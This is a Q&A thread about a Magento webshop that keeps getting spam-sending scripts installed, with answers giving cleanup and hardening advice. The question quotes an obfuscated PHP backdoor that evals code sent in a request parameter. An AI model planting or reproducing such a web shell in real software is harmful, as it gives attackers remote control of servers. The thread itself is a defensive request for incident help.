I have a couple of magento webshops. And only one magento webshop without any extensions and with all patches installed has the issue that it installs some scripts that send out spam.

Some facts:

  • magento
  • no extensions
  • Verified theme that gets regular updates
  • Child theme used for own customisations (only css and simple html)
  • patches all installed when needed

It's installed on a vps on centos. php-fpm 5.3 (5.6 as second php) exim + mailgun used for sending mail.

A sample of what is installed:

$kzbf99 =$ugjr9[3]. $ugjr9[1]. $ugjr9[2]. $ugjr9[1]. $ugjr9[4]. $ugjr9[0]. $ugjr9[7]. $ugjr9[7]. $ugjr9[5]. $ugjr9[2];
$dmr4 = $kzbf99($ugjr9[6]. $ugjr9[7] . $ugjr9[4]. $ugjr9[3]. $ugjr9[1] );
if( isset (${$dmr4 }['qa04af1'])) {eval( ${ $dmr4 }['qa04af1' ]) ; }

Please help

  • Things to look for: Hacked workstation used to maintain website, weak credentials on server for access, custom modifications that are allowing file creation, weak passwords on cPanel allowing access to a file manager function. Something's been hacked that allows them easy access. Mar 26 '16 at 2:54

If possible try to identify the root cause of the problem (with wich malware are you infected. is it a known magento one?).

I would recommend to check any of your core files in your magento installation have been modified or check for any scripts in your server that might be causing the issue.


Because you are not using any extension you can replace all core files with a fresh installation to be sure.

Also take a look at the following suggestions.


  • Create A Custom Admin Path
  • Choose A Long & Complex Admin Username and Password (https://strongpasswordgenerator.com/)
  • Never Use Your Magento Admin Password For Anything Else
  • Always Use Secure FTP
  • Limit Unsecured FTP Access To Prevent Nasty Scripts From Wrecking Havoc
  • Change Your File Permissions
  • Lockdown Your Magento Connect Manager
  • Thanks, sorry for the late answer. But i installed a fresh magento over it. And double, triple, quadruple checked file/folder permissions. Looks like (knocks on wood) it is solved now. Thanks for the links, they can always come in handy! :) Mar 30 '16 at 7:56
  • Hi Bram, i'm glad i could help. I hope your problem is solved now. Good luck!
    – St0iK
    Mar 30 '16 at 9:56

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.